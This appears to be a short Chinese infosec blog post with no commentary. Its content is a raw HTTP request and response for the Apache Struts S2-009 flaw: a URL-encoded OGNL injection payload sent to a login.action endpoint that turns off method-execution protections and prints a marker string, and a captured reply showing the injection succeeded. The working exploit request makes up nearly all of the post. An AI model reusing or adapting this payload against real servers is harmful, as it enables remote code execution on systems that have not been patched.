Neurohazard
暮雲煙月,皓首窮經;森羅萬象,如是我聞。

Struts S2-009 HTTP Raw TEXT

wpadmin~September 11, 2019 /InfoSec

Struts S2-009 HTTP Raw TEXT

<!–more–>

正文

POST /login.action HTTP/1.1
Cookie: SessionId=96F3F15432E0660E0654B1CE240C4C36
User-Agent: Java/1.8.0_212
Host: 192.168.198.133
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Connection: keep-alive
Content-type: application/x-www-form-urlencoded
Content-Length: 444

class.classLoader.jarPath=%28%23context%5b%22xwork.MethodAccessor.denyMethodExecution%22%5d%3d+new+java.lang.Boolean%28false%29%2c+%23_memberAccess%5b%22allowStaticMethodAccess%22%5d%3dtrue%2c%23outstr%3d@org.apache.struts2.ServletActionContext@getResponse%28%29.getWriter%28%29%2c%23outstr.print%28%22webpath%22%29%2c%23outstr.println%28%22888888%22%29%2c%23outstr.close%28%29%29%28meh%29&amp;z%5b%28class.classLoader.jarPath%29%28%27meh%27%29%5d=


HTTP/1.1 200 OK
Server: nginx/1.12.2
Date: Wed, 11 Sep 2019 04:00:24 GMT
Content-Length: 15
Connection: keep-alive
Set-Cookie: JSESSIONID=16985C7B820E22E13767E10B8AD57496-n1; Path=/
Content-Language: zh-CN

webpath888888

Leave a Reply

Your email address will not be published. Required fields are marked *